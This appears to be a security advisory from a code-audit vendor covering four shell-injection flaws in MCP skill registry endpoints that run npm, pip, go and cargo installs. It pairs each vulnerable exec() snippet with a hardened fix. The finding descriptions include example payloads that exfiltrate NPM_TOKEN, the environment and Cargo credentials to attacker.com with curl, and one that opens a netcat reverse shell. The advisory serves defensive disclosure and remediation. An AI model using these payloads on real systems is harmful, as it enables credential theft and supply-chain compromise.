Claude MCP skill code injection — skill version pinning and dependency lock endpoints — SA-SKL-INJECTION40
SA-SKL-INJECTION40 documents four shell injection vulnerabilities in MCP skill registry version pinning and dependency lock endpoints. These endpoints invoke package manager CLIs — npm, pip, go, and cargo — to install specific dependency versions into isolated working directories as part of lockfile generation and dependency verification workflows. In all four cases, user-supplied package specifiers or version strings are interpolated directly into exec() shell strings, allowing an attacker to inject semicolons or spaces to break out of the intended command and execute arbitrary shell commands with the full environment of the registry worker process.
exec(`npm install --prefix ${installDir} ${packageSpec}@${version}`) — attacker packageSpec with ; cat ~/.npmrc exfiltrates NPM_TOKEN enabling supply-chain publish access to any package in victim's registry scopeexec(`pip install --target ${targetDir} ${requirement}==${version}`) — attacker requirement with ; nc attacker.com 4444 -e /bin/sh establishes reverse shellexec(`go get ${modulePath}@${moduleVersion}`) — attacker modulePath with ; printenv exfiltrates all env vars including GONOSUMCHECK and private module proxy credentialsexec(`cargo add ${crateName} --version ${crateVersion}`) — attacker crateName with space-injected --features=malicious-feature-flag reads Cargo registry token from .cargo/credentials.tomlINJECTION40-001 — npm install shell injection exfiltrates NPM_TOKEN
Severity: CRITICAL
The npm dependency lock endpoint constructs an install command by interpolating user-supplied packageSpec and version values into an exec() call. The shell process inherits the worker's full environment, which includes NPM_TOKEN — the publish credential for the registry's npm organization scope. An attacker submitting packageSpec = "lodash; cat ~/.npmrc | curl -X POST https://attacker.com/exfil -d @-" causes the shell to execute the legitimate npm install, then exfiltrate the .npmrc file containing NPM_TOKEN to the attacker's server. With NPM_TOKEN the attacker can publish new versions of any package within the victim organization's npm scope, enabling supply-chain attacks against all downstream consumers.
// deps/npm-lock.js
const { exec } = require('child_process');
const { promisify } = require('util');
const execAsync = promisify(exec);
async function installAndLock(packageSpec, version, installDir) {
// User-supplied packageSpec interpolated directly into shell string — injection
const { stdout } = await execAsync(
`npm install --prefix ${installDir} ${packageSpec}@${version} --package-lock-only`
);
return stdout;
}
// deps/npm-lock.js
const { execFile } = require('child_process');
const { promisify } = require('util');
const path = require('path');
const fs = require('fs');
const execFileAsync = promisify(execFile);
const PACKAGE_SPEC_RE = /^[a-z0-9@._\-\/]{1,214}$/;
const VERSION_RE = /^[0-9a-zA-Z._\-\+]{1,256}$/;
const INSTALL_BASE = '/var/skillaudit/dep-locks';
async function installAndLock(packageSpec, version, installDir) {
if (!PACKAGE_SPEC_RE.test(packageSpec)) throw new Error('Invalid packageSpec');
if (!VERSION_RE.test(version)) throw new Error('Invalid version');
// realpathSync containment: installDir must be under INSTALL_BASE
const resolvedDir = fs.realpathSync(installDir);
if (!resolvedDir.startsWith(INSTALL_BASE + path.sep)) {
throw new Error('installDir escapes containment boundary');
}
// execFile array — no shell interpolation, no injection surface
const { stdout } = await execFileAsync('npm', [
'install',
'--prefix', resolvedDir,
`${packageSpec}@${version}`,
'--package-lock-only',
], {
env: { PATH: process.env.PATH }, // minimal env — no NPM_TOKEN exposed
});
return stdout;
}
NPM_TOKEN exfiltration enables supply-chain attacks. Unlike environment variables that only affect the current process, NPM_TOKEN is a durable publish credential. Once exfiltrated, it can be used to publish malicious versions of any package in the victim's npm scope at any time in the future, poisoning every downstream consumer that installs that package. Treat NPM_TOKEN with the same care as a signing key: never expose it in environments that execute user-supplied package specifiers.
INJECTION40-002 — pip install shell injection establishes reverse shell
Severity: CRITICAL
The pip dependency lock endpoint interpolates user-supplied requirement and version into an exec() shell command. An attacker submitting requirement = "requests; nc attacker.com 4444 -e /bin/sh" terminates the pip command with a semicolon and spawns a reverse shell with the full privileges of the Node.js worker process, providing persistent interactive access to the registry server.
// deps/pip-lock.js
async function pipInstallAndLock(requirement, version, targetDir) {
await execAsync(`pip install --target ${targetDir} ${requirement}==${version}`);
}
// deps/pip-lock.js
const REQUIREMENT_RE = /^[a-zA-Z0-9._\-]{1,100}$/;
const PIP_VERSION_RE = /^[0-9a-zA-Z._\-]{1,32}$/;
async function pipInstallAndLock(requirement, version, targetDir) {
if (!REQUIREMENT_RE.test(requirement)) throw new Error('Invalid requirement');
if (!PIP_VERSION_RE.test(version)) throw new Error('Invalid version');
const resolvedDir = fs.realpathSync(targetDir);
if (!resolvedDir.startsWith(INSTALL_BASE + path.sep)) throw new Error('targetDir escape');
await execFileAsync('pip', ['install', '--target', resolvedDir, `${requirement}==${version}`], {
env: { PATH: process.env.PATH, PYTHONPATH: '' },
});
}
INJECTION40-003 — go get shell injection exfiltrates module proxy credentials
Severity: CRITICAL
The Go module lock endpoint interpolates user-supplied modulePath and moduleVersion into exec(`go get ${modulePath}@${moduleVersion}`). An attacker submitting modulePath = "github.com/pkg/errors; printenv | curl -X POST https://attacker.com/env -d @-" exfiltrates the full environment of the Go worker, which includes GONOSUMCHECK, GOPROXY credentials for private module proxy authentication, and GOPATH-scoped authentication tokens. These credentials allow the attacker to pull private Go modules from the organization's internal module proxy.
// deps/go-lock.js
async function goGetAndLock(modulePath, moduleVersion) {
await execAsync(`go get ${modulePath}@${moduleVersion}`);
}
// deps/go-lock.js
const MODULE_PATH_RE = /^[a-z0-9.\-\/]+$/;
const SEMVER_RE = /^v[0-9]+\.[0-9]+\.[0-9]+(-[a-zA-Z0-9.\-]+)?(\+[a-zA-Z0-9.\-]+)?$/;
async function goGetAndLock(modulePath, moduleVersion) {
if (!MODULE_PATH_RE.test(modulePath) || modulePath.length > 500) throw new Error('Invalid modulePath');
if (!SEMVER_RE.test(moduleVersion)) throw new Error('Invalid moduleVersion');
await execFileAsync('go', ['get', `${modulePath}@${moduleVersion}`], {
env: {
PATH: process.env.PATH,
HOME: '/tmp/go-home',
GOPATH: '/tmp/go-path',
// GONOSUMCHECK and proxy credentials sourced from server-side constants, not env passthrough
GOPROXY: process.env.GOPROXY_URL ?? 'https://proxy.golang.org,direct',
GONOSUMCHECK: '',
},
});
}
INJECTION40-004 — cargo add space injection reads Cargo registry token
Severity: CRITICAL
The Cargo dependency lock endpoint interpolates user-supplied crateName and crateVersion into exec(`cargo add ${crateName} --version ${crateVersion}`). Because cargo subcommands accept flag arguments anywhere in the argument list when passed through a shell, an attacker submitting crateName = "serde --features=malicious-feature-flag" injects an additional flag into the cargo invocation. More critically, an attacker can inject ; cat /home/runner/.cargo/credentials.toml | curl -X POST https://attacker.com/token -d @- to exfiltrate the Cargo registry publish token from credentials.toml, which grants publish access to any crate owned by the registry worker's Cargo account.
// deps/cargo-lock.js
async function cargoAddAndLock(crateName, crateVersion) {
await execAsync(`cargo add ${crateName} --version ${crateVersion}`);
}
// deps/cargo-lock.js
const CRATE_NAME_RE = /^[a-zA-Z0-9_\-]{1,64}$/;
const CRATE_VERSION_RE = /^[0-9]+\.[0-9]+\.[0-9]+$/;
async function cargoAddAndLock(crateName, crateVersion) {
if (!CRATE_NAME_RE.test(crateName)) throw new Error('Invalid crateName');
if (!CRATE_VERSION_RE.test(crateVersion)) throw new Error('Invalid crateVersion');
await execFileAsync('cargo', ['add', crateName, '--version', crateVersion], {
env: {
PATH: process.env.PATH,
HOME: '/tmp/cargo-home',
// Run without CARGO_HOME pointing to real credentials — use isolated home
CARGO_HOME: '/tmp/cargo-home/.cargo',
},
});
}
Remediation summary
| Finding | Severity | Primary remediation | Secondary hardening |
|---|---|---|---|
| INJECTION40-001 | Critical | execFile() array; validate packageSpec /^[a-z0-9@._\-\/]{1,214}$/; realpathSync installDir | Minimal env — no NPM_TOKEN; no NPM registry credentials in worker env |
| INJECTION40-002 | Critical | execFile() array; validate requirement /^[a-zA-Z0-9._\-]{1,100}$/; realpathSync targetDir | Minimal env; PYTHONPATH cleared |
| INJECTION40-003 | Critical | execFile() array; validate modulePath and version; server-side GOPROXY constant | Isolated GOPATH; GONOSUMCHECK cleared; no proxy credential passthrough |
| INJECTION40-004 | Critical | execFile() array; validate crateName /^[a-zA-Z0-9_\-]{1,64}$/; isolated CARGO_HOME | No .cargo/credentials.toml in worker home; run without registry publish credentials |
SkillAudit flags exec() with interpolated package specifiers. The audit engine detects exec() calls that concatenate user-supplied package names, versions, or module paths into shell strings — across npm, pip, go, and cargo invocations. See related advisories: SA-SKL-INJECTION39 and SA-SKL-INJECTION38. Connect your repository at skillaudit.dev.